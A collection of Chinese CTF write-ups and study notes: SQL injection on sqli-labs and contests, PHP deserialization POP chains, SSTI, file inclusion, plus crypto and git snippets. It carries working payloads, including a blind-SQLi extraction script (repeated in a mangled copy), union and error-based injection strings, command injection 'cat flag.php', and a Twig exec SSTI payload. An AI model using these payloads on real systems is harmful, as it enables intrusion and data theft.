    68						print("第四层发送2/3,接收win正常")
    69				else:
    70					print("第三层接收repeat和发送正常")
    71			print("第二层接收win正常")
    72		except Exception as e:
    73			if 'of range' not in e.args[0]:
    74				io.interactive()
    75		else:
    76			print("成功")
    77	io.interactive()

    Pwn学习日记-1

    学Pwn第一天,其实之前学过,不过今天开始认真系统地学一遍,很多基础的东西看exp都不太明白,确实菜,而且Pwn很帅啊,顺便说一下Zikey Vi老师太强了,讲的很详细,实力也很强!

    PWN?

    概述

    • 破解、利用成功(程序的二进制漏洞)
    • 攻破(设备、服务器)
    • 控制(设备、服务器)

    一次简单的hack

    • exploit 用于攻击的脚本与方案
    • payload 攻击载荷,是对目标进程劫持控制流的数据
    • shellcode 调用攻击目标shell的代码

    二进制基础

    程序的编译与链接

    从C源代码到可执行文件的生成过程

    • 编译
      • 由C语言代码生成汇编代码
    • 汇编
      • 由汇编代码生成机器码
    • 链接
      • 将多个机器码的目标文件链接成一个可执行文件

    Linux下的可执行文件格式ELF

    什么是可执行文件?
    • 广义:文件中的数据是可执行代码的文件
      • .out、.exe、.sh、.py
    • 狭义:文件中的数据是机器码的文件
      • .out、.exe、.dll、.so
    可执行文件的分类
    • Windows:PE(Portable Executable)
      • 可执行程序
        • .exe
      • 动态链接库
        • .dll
      • 静态链接库
        • .lib
    • Linux:ELF(Executable and Linkable Format)
      • 可执行程序
        • .out
      • 动态链接库
        • .so
      • 静态链接库
        • .a
    ELF文件解析

    • ELF文件头表(ELF header)
      • 记录了ELF文件的组织结构
    • 程序头表/段表(Program header table)
      • 告诉系统如何创建进程
      • 生成进程的可执行文件必须拥有此结构
      • 重定位文件不一定需要
    • 节头表(Section header table)
      • 记录了ELF文件的节区信息
      • 用于链接的目标文件必须拥有此结构
      • 其它类型目标文件不一定需要

    磁盘中的ELF(可执行文件)与内存中的ELF(进程内存映像)

    NCTF2021 Ezsql

    好兄弟:boy:发来的题目,:older_man:当时没做出来,幸好环境还在

    这道题测试一遍后,没什么收获,马后炮先扫描网站目录

    发现源码,共有三个文件:config.phpDB.phplogin.php

    代码审计

    config是连接数据库的文件,没啥用,login是登录页面,DB是处理文件,这两个需要着重看一下,文件先挂在下面

    login.php

    php
     1<?php
     2include_once('config.php');
     3?>
     4<!DOCTYPE html>
     5<html>
     6    <head>
     7        <title>There is no absolutely safe system</title>
     8    </head>
     9    <body>
    10<?php
    11if (isset($_POST['password'])){
    12    $query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);
    13
    14    if (isset($_POST['name'])){
    15        $query = db::prepare($query . " and name=%s", $_POST['name']);
    16    }
    17    else{
    18        $query = $query . " and name='benjaminEngel'";
    19    }
    20    $query = $query . " limit 1";
    21
    22    $result = db::commit($query);
    23
    24    if ($result->num_rows > 0){
    25        die('NCTF{ez');
    26    }
    27    else{
    28        die('Wrong name or password.');
    29    }
    30}
    31else{?>
    32        <form action="login.php" method="post">
    33            <input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
    34            <input type="password" name="password" id="password" placeholder="Enter password">
    35            <button type="submit">Submit</button>
    36        </form>
    37<?php 
    38}
    39?>
    40    </body>
    41</html>
    

    先看login.php,传入password后,放进prepare方法里,看单词应该是个处理方法,然后判断是否传入name,若有就再次放进prepare处理,若无就将name设置为‘benjaminEngel’(前端单词却是bejaminEngel)。随后,把语句设置为查询一条数据,放进commit方法里。如果查询到了数据就输出一段flag,否则输出错误报告

    蓝帽杯2021 One Pointer PHP

    第一次打FPM/FastCGI的题,实际上也是第一次接触打中间件的题,刚开始是在陇原战“疫”碰到了一道类似的题,也是改编的这道,为了更好地复现这道题,理解这道题,我去把Fastcgi 协议分析与 PHP-FPM 攻击方法都看了几遍。攻击的实操部分,本来想着复现,但那个鬼环境一直差点意思。这里不得不提中国网安界大神——phith0n,P神开创的vulhub确实帮了国内外网络安全学习者的大忙,让安全研究者更加专注于漏洞原理本身,而不是忙于搭建复杂的漏洞环境。但不幸的事,这个洞的环境坏了,问了P神说官网要下架,让我去GitHub找找,可惜GitHub也没有。。。

    所以PHP-FPM攻击实操等我搭好环境再来搞,Fastcgi协议有时间再来分析。

    开启靶机,这个赛被人戏称广告杯,玩笑归玩笑,这题质量很高的,打开如下图

    但好像比赛时图片是火炬

    不管了,博客不能水

    题目给了一个web.zip,解压后有两个文件,分别是user.php、add_api.php。为了方便日后我自己或者他人阅读,把代码贴出来:

    user.php:

    php
    1<?php
    2class User{
    3	public $count;
    4}
    5?>
    

    add_api.php:

    WUSTCTF 颜值成绩查询

    经过测试,我们可以发现输入一到4都是有回显的,虽然后面几个是乱码,比如名字和分数怪怪的。但是还是有固定英文的,比如Hiyour score is:

    后面的测试就很明显了,输入其他字符报错,无报错回显,摆明了布尔注入。所以我们需要构造一个验证正确与否的语句,用于判断字母,这里先介绍一下异或注入

    异或注入,是在 SQL 注入中,利用 Mysql 对异或逻辑的处理特性,帮助进行 SQL 注入的利用,作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用。 在 Mysql 中,异或操作的两个关键词是 “xor” 和’^’,xor 是逻辑上的异或操作,对前后两个逻辑真假进行异或,结果只为 0 或 1

    在这个输入框输入0返回不存在,输入1正常回显,所以我们可以构造一条判断语句,例如,假设第一个字母为a,正确返回1,错误返回0,将这个语句输入,通过题目回显就可判断这个假设是否成立。比如输入1^表达式^1,若表达式为真,此异或表达式也为真,正常回显,若此表达式为假则异或表达式也为假,返回异常。这个表达式就可以用于判断字母。如下语句:

    1^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1

    这个用于判断数据库第一个字母ascii编码是否大于50,大于则返回1,否则返回0

    看着非常巧妙是不是?但我不用

    为什么呢?为什么呢?为什么呢?

    因为这些SB博客就知道互抄,全篇复制写原创的有,错误脚本瞎转载的有,直接复制脚本到自己博客却不改注释里作者姓名的也有。每篇原创都会提示有版权的吧,有几个申请授权了?你一个博客写错了没事,最恶心的就是那些SB眼瞎通篇转载的,直接影响一大片。不只局限于此题,其他题、其他领域也类似,百度前几页文章都一样的,单词错的也都一样。我这种小博客还没啥,那种高浏览量的文章背后不知道有多少一模一样的“原创文章”。

    这句话明明可以精简,1^表达式^1表达式真实性一致的呀,为啥复杂化?画蛇添足!还有那个if语句,python里if的确可以这样用if(表达式,值1,值2),表达式成立返回值1,不成立返回值2,其实就是python里的三目运算符。但这题根本不需要,A>B成立返回1,不成立返回0,根本用不着if,只不过这题在输入框里要包起来,如:(A>B)

    注意这题过滤了空格,括号绕过可以,省略符号绕过也可以

    下面直接放一个自动化脚本,直接python3运行,然后输入url等着就好了。使用二分法判断字符,设置了请求延迟否则太快的请求会出错。如果在你那无法运行可能是没有time、requests模块,安装就好,跑不出把sleep值改大点,再不出来找我,我的脚本终身保修

    python
      1import time
      2
      3import requests
      4
      5Success_message = "Hi"
      6
      7
      8def database_name():
      9    db_name = ''
     10    for i in range(1, 10):
     11        begin = 32
     12        end = 126
     13        mid = (begin + end) // 2
     14        while begin < end:
     15            payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)
     16            res = requests.get(payload)
     17            if Success_message in res.text:
     18                begin = mid + 1
     19            else:
     20                end = mid
     21            mid = (begin + end) // 2
     22        if mid == 32:
     23            print()
     24            break
     25        db_name += chr(mid)
     26        print("数据库名: " + db_name)
     27    return db_name
     28
     29
     30def table_name():
     31    name = ''
     32    for j in range(1, 100):
     33        begin = 32
     34        end = 126
     35        mid = (begin + end) // 2
     36        while begin < end:
     37            payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \
     38                            'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)
     39            time.sleep(0.2)
     40            res = requests.get(payload)
     41            if Success_message in res.text:
     42                begin = mid + 1
     43            else:
     44                end = mid
     45            mid = (begin + end) // 2
     46        if mid == 32:
     47            print()
     48            break
     49        name += chr(mid)
     50        print("表名: " + name)
     51    table_list = name.split(",")
     52    for tab_name in table_list:
     53        column_name(tab_name)
     54
     55
     56def column_name(tab_name):
     57    name = ''
     58    for j in range(1, 100):
     59        begin = 32
     60        end = 126
     61        mid = (begin + end) // 2
     62        while begin < end:
     63            payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \
     64                            'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \
     65                            '1)) > %d)' % (tab_name, j, mid)
     66            time.sleep(0.2)
     67            res = requests.get(payload)
     68            if Success_message in res.text:
     69                begin = mid + 1
     70            else:
     71                end = mid
     72            mid = (begin + end) // 2
     73        if mid == 32:
     74            print()
     75            break
     76        name += chr(mid)
     77        print(("%s表的字段名: " + name) % tab_name)
     78    column_list = name.split(",")
     79    for col_name in column_list:
     80        get_data(tab_name, col_name)
     81
     82
     83def get_data(tab_name, col_name):
     84    data = ''
     85    for i in range(1, 100):
     86        begin = 32
     87        end = 126
     88        mid = (begin + end) // 2
     89        while begin < end:
     90            payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (
     91                col_name, tab_name, i, mid)
     92            time.sleep(0.2)
     93            res = requests.get(payload)
     94            if Success_message in res.text:
     95                begin = mid + 1
     96            else:
     97                end = mid
     98            mid = (begin + end) // 2
     99        if mid == 32:
    100            print()
    101            break
    102        data += chr(mid)
    103        print(("%s表的%s字段数据: " + data) % (tab_name, col_name))
    104
    105
    106if __name__ == '__main__':
    107    url = input("请输入url:")
    108    database_name()
    109    table_name()

    极客大挑战 2021

    题量很大,收获挺多,持续时间也长,据说结束之后会再持续一段时间,然后题目会开源。

    WEB

    Dark

    暗网签到,难以置信

    Welcome2021

    改个请求方法会提示你文件,再进去就好了

    babysql

    直接把请求包扔sqlmap里,跑就完事了

    sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump

    babyPOP

    题目:

    php
     1<?php
     2class a {
     3    public static $Do_u_like_JiaRan = false;
     4    public static $Do_u_like_AFKL = false;
     5}
     6
     7class b {
     8    private $i_want_2_listen_2_MaoZhongDu;
     9    public function __toString()
    10    {
    11        if (a::$Do_u_like_AFKL) {
    12            return exec($this->i_want_2_listen_2_MaoZhongDu);
    13        } else {
    14            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
    15        }
    16    }
    17}
    18
    19class c {
    20    public function __wakeup()
    21    {
    22        a::$Do_u_like_JiaRan = true;
    23    }
    24}
    25
    26class d {
    27    public function __invoke()
    28    {
    29        a::$Do_u_like_AFKL = true;
    30        return "关注嘉然," . $this->value;
    31    }
    32}
    33
    34class e {
    35    public function __destruct()
    36    {
    37        if (a::$Do_u_like_JiaRan) {
    38            ($this->afkl)();
    39        } else {
    40            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
    41        }
    42    }
    43}
    44
    45if (isset($_GET['data'])) {
    46    unserialize(base64_decode($_GET['data']));
    47} else {
    48    highlight_file(__FILE__);
    49}

    很简单的pop链,链子很好构造,我最初的想法是:

    如何修改 类名::静态变量 ?

    好久没更新了,其中经历了备战省赛,重装电脑,换服务器,重新搭建博客等一系列事,受到许多技术大牛的指点,而且新人太厉害了,卷卷卷!

    Geek Challenge 2021有一道BabyPOP,这个题其实不难的,但我知识点掌握太少了,题刷的还是少。类名::静态变量 这种调用方式遇到过,但只是利用它,而没想过改变它。

    如何改变类名::静态变量?

    我们先来做几个测试

    1.无操作

    php
     1<?php
     2class A{
     3	public  static $x=false;
     4	public function test(){
     5        var_dump(A::$x);
     6        var_dump($this->x);
     7	}
     8}
     9$s=new A();
    10$s->test();

    SWPU新生赛WriteUp

    一个线上赛,这个NSSCTF最爽的就是没有靶机操作的一分钟冷却,10.11比赛结束,但是我还要看看工控,所以不打这个比赛了,先把wp写了,pwn入门真TM艰难

    WEB

    前面送分题,中间的也是基础题,后面搜知识点现学现用,最后俩RCE实在做不出来

    gift_F12

    藏在了JS代码里,我还以为要改时间,歌还不错

    caidao

    太直白了,但我偏用蚁剑

    jicao

    基操

    php
    1<?php
    2highlight_file('index.php');
    3include("flag.php");
    4$id=$_POST['id'];
    5$json=json_decode($_GET['json'],true);
    6if ($id=="wllmNB"&&$json['x']=="wllm")
    7{echo $flag;}
    8?>
    

    Payload:GET: ?json={"x":"wllm"} POST: id=wllmNB

    DASCTF Sept X 浙江工业大学秋季挑战赛 hellounser

    我傻逼,当时没做出来,赛后看wp才理解,正则也要复习复习了

    php
     1<?php
     2class A {
     3    public $var;
     4    public function show(){
     5        echo $this->var;
     6    }
     7    public function __invoke(){
     8        $this->show();
     9    }
    10}
    11class B{
    12    public $func;
    13    public $arg;
    14    public function show(){
    15        $func = $this->func;
    16        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
    17            die('No!No!No!'); 
    18        } else { 
    19            include "flag.php";
    20            //There is no code to print flag in flag.php
    21            $func('', $this->arg); 
    22        }
    23    }
    24    public function __toString(){
    25        $this->show();
    26        return "<br>"."Nice Job!!"."<br>";
    27    } 
    28}
    29
    30if(isset($_GET['pop'])){
    31    $aaa = unserialize($_GET['pop']);
    32    $aaa();
    33}
    34else{
    35    highlight_file(__FILE__);
    36}
    37?>
    

    首先能出flag的地方只有B里show函数的文件包含部分,怎么调用这个show函数?同B类的__toString调用了,如何调用__toString?

    PHP特性总结

    1、数组绕过正则表达式

    php
    1if(preg_match("/[0-9]/", $num)){
    2        die("no no no!");
    3    }
    4else(intval($num)){
    5        echo $flag;
    6    }

    preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句

    payload:num[]=1

    2、intval函数的使用

    sqli-labs个人练习 通关总结

    这个系列是我在sqli-labs中练习SQL注入的解题过程。

    less-1

    打开关卡

    根据提示得知我们应该传入id值,先?id=1'测试一下

    报错,把单引号去掉试试

    成功返回数据,再测试?id=2

    返回数据,再尝试一下?id=2-1

    仍然显示id=2的数据,排除数字型注入,大概是字符型注入了,尝试封闭单引号并且注释后面的语句

    猜解字段数,?id=1' order by 1,2,3 --+

    没有报错,测试是否有4个字段?id=1' order by 1,2,3,4 --+

    报错,说明只有3个字段,接下来我们确定回显位置,?id=1' union select 1,2,3 --+

    没回显,把1改成-1即可,或者在后面加limit 1,1也行,这里使用-1的方法,?id=-1' union select 1,2,3 --+

    回显为2,3,我们要在2,3的位置使用注入语句

    爆库名,?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

    推测security里有重要数据

    爆表名,语句放2放3无所谓,这里放在3的位置,之前2的不动,虽然看起来长,但语句意思很简单的

    ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

    看到security里有那么多表,users大多是存储用户名和密码的表

    爆字段,?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

    上传项目到GitHub

    1.创建一个文件夹

    2.将写好的项目文件全部复制进去

    3.打开这个文件夹,右键Git Bash Here

    4.输入命令:git init

    5.输入命令:git add .

    6.输入命令:git commit -m "xxxxxxx"

    7.输入命令:git remote add origin git@github.com:Tajang-ctf/仓库名.git

    8.输入命令 :git push -u origin master

    2025/02/06更新

    我部署了Hugo博客,主题自己写的,我想在站点目录下执行git push推送public目录内文件到远程仓库,但怎么设置都不行,.gitignore写了也不行,于是写了下面这个脚本:

    bat
     1@echo off
     2cd /d "D:\Blog\public"
     3echo 进入D:\Blog\public目录
     4git add .
     5echo 添加所有文件
     6git commit -m "推送Hugo博客"
     7git push origin main
     8echo 已推送
     9
    10@REM Blog是博客站点根目录,不需要推送,只需要推送public内文件夹,本来想着写,gitignore忽略所有文件,但排除public内文件。但是一直不成功,所以写这个脚本。
    11@REM public内有git配置,分支是main,直接推送即可

    本地git init时默认为master分支,虽然可以使用master:main推送,但遇到各种分支冲突,只能--force,所以还是把本地的分支改成main吧:git branch -m main

    第四届宁波网安市赛初赛

    由于赛后官方不给wp(绿盟一向如此),交流群也没有得到其他题解,赛后就根据自己的wp来写了,wp由队友及我共同完成。比赛共解答10题,Web 5道,Misc 2道,Crypto 3道,wp只有一部分,缺少的部分有机会再补上吧

    Web

    赛后靶机关了,没办法再次复现,只能用当时编写的wp配图,好像源码l都换成了1

    简单的php

    对长度做了限制,这里代码观察后直接通配符即可

    payload:?1=cat fl*

    这题环境崩过几次,据说因为共用一个环境还被人删了flag

    index

    扫描网站目录得到源码

    $user和$pass存在注入点,user那里MD5加密就行

    payload:user='union select '21232f297a57a5a743894a0e4a801fc3'#&pass=admin

    GetFlag

    验证码一直动,最离谱的是我CTRL+U里的验证码跟页面的不一样

    使用脚本爆破出md5加密前的,提交得到php页面,自己脚本太烂了,放一下大佬的

    python
     1import hashlib
     2from multiprocessing.dummy import Pool as ThreadPool
     3
     4
     5# MD5截断数值已知 求原始数据
     6# 例子 substr(md5(captcha), 0, 6)=60b7ef
     7
     8def md5(s):  # 计算MD5字符串
     9    return hashlib.md5(str(s).encode('utf-8')).hexdigest()
    10
    11
    12keymd5 = '8f5fb0'  # 已知的md5截断值
    13md5start = 0  # 设置题目已知的截断位置
    14md5length = 6
    15
    16
    17def findmd5(sss):  # 输入范围 里面会进行md5测试
    18    key = sss.split(':')
    19    start = int(key[0])  # 开始位置
    20    end = int(key[1])  # 结束位置
    21    result = 0
    22    for i in range(start, end):
    23        # print(md5(i)[md5start:md5length])
    24        if md5(i)[0:6] == keymd5:  # 拿到加密字符串
    25            result = i
    26            print(result)  # 打印
    27            break
    28
    29
    30list = []  # 参数列表
    31for i in range(10):  # 多线程的数字列表 开始与结尾
    32    list.append(str(10000000 * i) + ':' + str(10000000 * (i + 1)))
    33pool = ThreadPool()  # 多线程任务
    34pool.map(findmd5, list)  # 函数 与参数列表
    35pool.close()
    36pool.join()

    进去也有套娃,绕过去就行,构造payload:4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1%0acat+flag.php

    第四届宁波网安市赛训练题

    Crypto

    散乱的密文

    8fd4a@4c9@4gf15{50}l72d3提示了2 1 6 5 3 4,我们直接横向排列

    216534
    8fd4a@
    4c9@4g
    f15{50
    }l72d3

    按顺序竖着抄下来fc1l84f}a45d@g034@{2d957,然后栅栏解密,注意这里是W型栅栏解密,行数6

    flag:flag{52048c453d794df1}@@

    综合解密

    596d687162534268643252344948686b5a6e5967636a56355a79426b636d6432先16进制转字符串,再base64解码得到bhjm awdx xdfv r5yg drgv,这些字母在键盘上围起来的字母取出来就是flag

    flag:flag{nsctf}

    rsa1

    直接给了公钥和密文,先解析公钥

    分析n,得到p和q

    脚本跑跑跑

    python
     1import gmpy2
     2import rsa
     3
     4e = 65537
     5n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
     6p = 285960468890451637935629440372639283459
     7q = 304008741604601924494328155975272418463
     8
     9phin = (q - 1) * (p - 1)
    10d = gmpy2.invert(e, phin)
    11
    12key = rsa.PrivateKey(n, e, int(d), p, q)
    13
    14with open("C:\\Users\\Mr.Wu\\Desktop\\rsa1\\flag.enc", "rb+") as f:
    15    f = f.read()
    16    print(rsa.decrypt(f, key))

    flag:nsfocus{seay_rsa}

    MRCTF2020 Ezpop

    打开靶机,哇,直接给源码

    这道题的知识点是利用php魔术方法的相互关联,构造pop链,其实有的地方没太懂,群里Y1ng大佬还回复我了,好兴奋,这题他的wp也看过,接下来就按我的理解写

    知道我对这道题理解多么蠢吗?简直蠢得不可理喻,我以为代码审计,读懂代码会和上次绕过一样的类型,后来证明我真的蠢,给大家看看我的代码审计

    我是真得蠢。。。不说了,先来讲一波php魔术方法

    __construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发

    1.上面的提示说flag在flag.php里,可知这里存在文件包含,而源码中能使用文件包含的只有Modifier类里的include函数,而它所在的append方法,在下面的__invoke()方法里被调用了。所以我们需要调用__invoke()方法。

    2.如何触发__invoke方法?这个魔术方法我在上面已经已经说了需要把对象当函数用的时候触发,纵观整块代码。只有Test类里的__get()方法可以利用,因为它里面$function()意味着把$function当作函数使用,那我们只需要将$this->p弄成对象就行。现在我们需要考虑如何调用__get()

    3.已知__get()方法需要调用不可访问的属性触发,代码里调用属性的地方都没问题,但有一个__toString()方法里的$this->str->source貌似可以用,其他的对象调用属性时都是对的,但是这里,它居然调用属性的属性,那我们把$this->str声明为一个没有source属性的类对象即可,这里用的类是Test,因为Test里有__get()方法。我们需要调用__toString()方法了

    4.对象被当作一个字符串用时才能触发__toString方法,那__wakeup里的正则对比那句代码合适,我们只需要把$this->source声明为一个对象即可

    5.如何触发__wakeup?调用反序列化时触发,代码最下面传值时有unserialize函数,只要向pop传值即可。

    向pop传值→触发unserialize函数→触发__wakeup→触发对象当作字符串用→触发__toString→触发调用不可读取属性→触发__get→触发对象当作函数使用→触发__invoke→调用append,append里有include文件包含

    从反序列化进程开始分析,首先反序列化之后会触发__wakeup(),接着__wakeup()又会直接触发__tostring(),从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source,就会触发__get(),将$p以函数的形式返回,而我们再让$p等于Modifier的话,__invoke()方法就会触发,从而自动调用append函数包含flag.php

    php
     1<?php
     2class Modifier {
     3    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
     4}
     5
     6class Show{
     7    public $source;
     8    public $str;
     9
    10}
    11
    12class Test{
    13    public $p;
    14}
    15$a=new Show();
    16$a->source=new Show();
    17$a->source->str=new Test();
    18$a->source->str->p=new Modifier();
    19echo urlencode(serialize($a));

    输出为

    BJDCTF2020 EasySearch

    做了这题,发现自己太年轻,经验太少了,很多知识点都不知道。

    打开靶机,两个username,它把后面那个password故意写成的username

    F12、robots协议、抓包都没发现啥,SQL注入没试

    题目名是EasySearch,应该是扫描网站,使用dirsearch扫描

    第一个年轻

    扫了看不出来哪些敏感文件或url,我只尝试了www.zip,某些常见url,还有看看有没有git泄露,发现也没有,我就没思路了

    后来才知道还有index.php.swp这个文件

    我们打开文件

    第二个年轻

    盲目代码审计,大家看看我认真的审计过程

    其实根本用不到那么多,只有那一段密码MD5加密后等于6d0bc1是重要的

    写python脚本找出字符串MD5加密后前6位等于6d0bc1的,脚本如下

    python
    1import hashlib
    2
    3for i in range(100000000):
    4    a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
    5
    6    if a[0:6] == '6d0bc1':
    7        print(i)

    找到的字符串如下

    NPUCTF2020 ReadlezPHP

    打开靶机,吓我一跳,你根本不知道大晚上刷题,看到这个网页内心是啥感觉

    页面好像限制鼠标了,左点右点没东西。robots啥也没有,CTRL+U看源码

    发现有./time.php?source,点进去看一下

    php
     1<?php
     2#error_reporting(0);
     3class HelloPhp
     4{
     5    public $a;
     6    public $b;
     7    public function __construct(){
     8        $this->a = "Y-m-d h:i:s";
     9        $this->b = "date";
    10    }
    11    public function __destruct(){
    12        $a = $this->a;
    13        $b = $this->b;
    14        echo $b($a);
    15    }
    16}
    17$c = new HelloPhp;
    18
    19if(isset($_GET['source']))
    20{
    21    highlight_file(__FILE__);
    22    die(0);
    23}
    24
    25@$ppp = unserialize($_GET["data"]);

    我不太懂php反序列化,起初我以为这里只是显示时间的源码没啥用,后来看了wp才知道反序列化是怎么用的。

    WUSTCTF2020 朴实无华

    打开靶机,朴实无华

    找线索

    左找找右找找,发现robots.txt里有东西

    进入/fAke_f1agggg.php是假的(早就预料到了)

    在当前页面继续找线索,我都扫了啥都没发现,但更细致点就会发现,网络里的响应头里有个

    有一说一,这个线索藏得够深,有二说二,chrome的控制台里网络区太烂了,一层一层的

    进入/fl4g.php

    我已经开始笑了

    xxxxxxxxxx import time​import requests​Success_message = “Hi"​​def database_name():    db_name = ’’    for i in range(1, 10):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + “?stunum=(ascii(substr(database(), %d, 1)) > %d)” % (i, mid)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        db_name += chr(mid)        print(“数据库名: " + db_name)    return db_name​​def table_name():    name = ’’    for j in range(1, 100):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + ‘?stunum=(ascii(substr((select(group_concat(table_name))from(’ \                            ‘information_schema.tables)where(table_schema=database())), %d, 1)) > %d)’ % (j, mid)            time.sleep(0.2)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        name += chr(mid)        print(“表名: " + name)    table_list = name.split(”,”)    for tab_name in table_list:        column_name(tab_name)​​def column_name(tab_name):    name = ’’    for j in range(1, 100):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + ‘?stunum=(ascii(substr((select(group_concat(column_name))from(’ \                            ‘information_schema.columns)where(table_name="%s”)and(table_schema=database())), %d, ’ \                            ‘1)) > %d)’ % (tab_name, j, mid)            time.sleep(0.2)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        name += chr(mid)        print(("%s表的字段名: " + name) % tab_name)    column_list = name.split(",")    for col_name in column_list:        get_data(tab_name, col_name)​​def get_data(tab_name, col_name):    data = ’’    for i in range(1, 100):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + ‘?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)’ % (                col_name, tab_name, i, mid)            time.sleep(0.2)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        data += chr(mid)        print(("%s表的%s字段数据: " + data) % (tab_name, col_name))​​if name == ‘main’:    url = input(“请输入url:”)    database_name()    table_name()python

    就一点点读呗,不会的函数百度

    极客大挑战2019 HardSQL

    打开靶机

    先试一下万能密码1' or 1=1#

    看起来过滤了一些东西,手动测试一下,发现过滤了and、=、空格、union等多个注入关键词(别问我为什么不fuzz,因为我fuzz结果跟手动测试结果有出入,明明过滤的,fuzz没测试出来)

    试一下报错注入,然后将语句中被过滤的关键词改写就行。空格用()代替,=用like代替

    查版本和数据库

    原语句:

    sql
    1admin' or updatexml(1,concat((select concat('~',version(),'~',database()))),1)#

    转化:

    sql
    1admin'or(updatexml(1,concat((select(concat('~',version(),'~',database())))),1))#

    出来了

    内涵的软件

    软件先打开运行一下,发现没什么用。就用exe info pe查壳

    32位的,那就用IDA32打开。

    去main0里看看

    直接给了,那就包上flag就行

    c
    1flag{49d3c93df25caad81232130f3d2ebfad}

    这题类似于BUU第一题,感觉没第二第三难,第二第三好歹要读伪代码和转化字符,这题和第一题直接IDA就没啥难度了。第一篇逆向wp,我应该先写前面几题wp的,但前面的学长指导过,不是独立写出来的。算是小入门了吧,希望在Reverse上有所造诣!

    SUCTF2019 Pythonginx

    打开靶机,经典给源码

    CTRL+U看起来舒服点

    3个if都是一样的,但是host在变,我们需要进入第三个if

    这题经大佬指点得知使用的blackhat议题里的一个点,这是blackhat PPT链接:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

    大致意思是当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

    偷的脚本查看可用字符

    python
     1from urllib.parse import urlunsplit, urlsplit
     2from urllib import parse
     3
     4
     5def get_unicode():
     6    for x in range(65536):
     7        uni = chr(x)
     8        url = "http://suctf.c{}".format(uni)
     9        try:
    10            if getUrl(url):
    11                print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
    12        except:
    13            pass
    14
    15
    16def getUrl(url):
    17    url = url
    18    host = parse.urlparse(url).hostname
    19    if host == 'suctf.cc':
    20        return False
    21    parts = list(urlsplit(url))
    22    host = parts[1]
    23    if host == 'suctf.cc':
    24        return False
    25    newhost = []
    26    for h in host.split('.'):
    27        newhost.append(h.encode('idna').decode('utf-8'))
    28    parts[1] = '.'.join(newhost)
    29    finalUrl = urlunsplit(parts).split(' ')[0]
    30    host = parse.urlparse(finalUrl).hostname
    31    if host == 'suctf.cc':
    32        return True
    33    else:
    34        return False
    35
    36
    37if __name__ == '__main__':
    38    get_unicode()

    结果如下

    BSidesCF2020 Had a bad day

    打开靶机

    点击了一下WOOFERS,发现url类似于文件包含

    尝试包含index.php

    php
    1php://filter/read=convert.base64-encode/resource=index.php

    的确存在文件包含,但报错了,应该是包含的文件不对,一番尝试后,发现应该去掉后缀,如下

    php
    1php://filter/read=convert.base64-encode/resource=index

    CISCN2019初赛 Love Math

    打开靶机

    直接给了源码,刚开始没啥思路,看了wp,大致懂了。先介绍一个概念,在PHP中可以把函数名赋给变量,然后通过变量调用函数,比如下面的代码会执行system('ls');

    php
    1$a='system';
    2$a('ls');

    我想执行system('cat /flag');那就应该是如下语句

    php
    1?c=$_GET[a]($_GET[b])&a=system&b=cat /flag

    但是源码限制了许多东西:

    BJDCTF2020 Cookie is so stable

    打开靶机

    左点右点没啥头绪,看了wp说是ssti注入。那我们在flag页面输入{{4*4}}试一下。

    的确存在ssti注入,但在flag页面payload不行,因为提示了cookie,cookie里存储了值,在这个页面会被拦截。那就抓包改cookie吧。在F12也能改,但在我这貌似出了点问题,还是老老实实抓包吧。抓包后在cookie里加入

    python
    1user{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

    得到flag,ssti模板注入不太懂,长见识了。

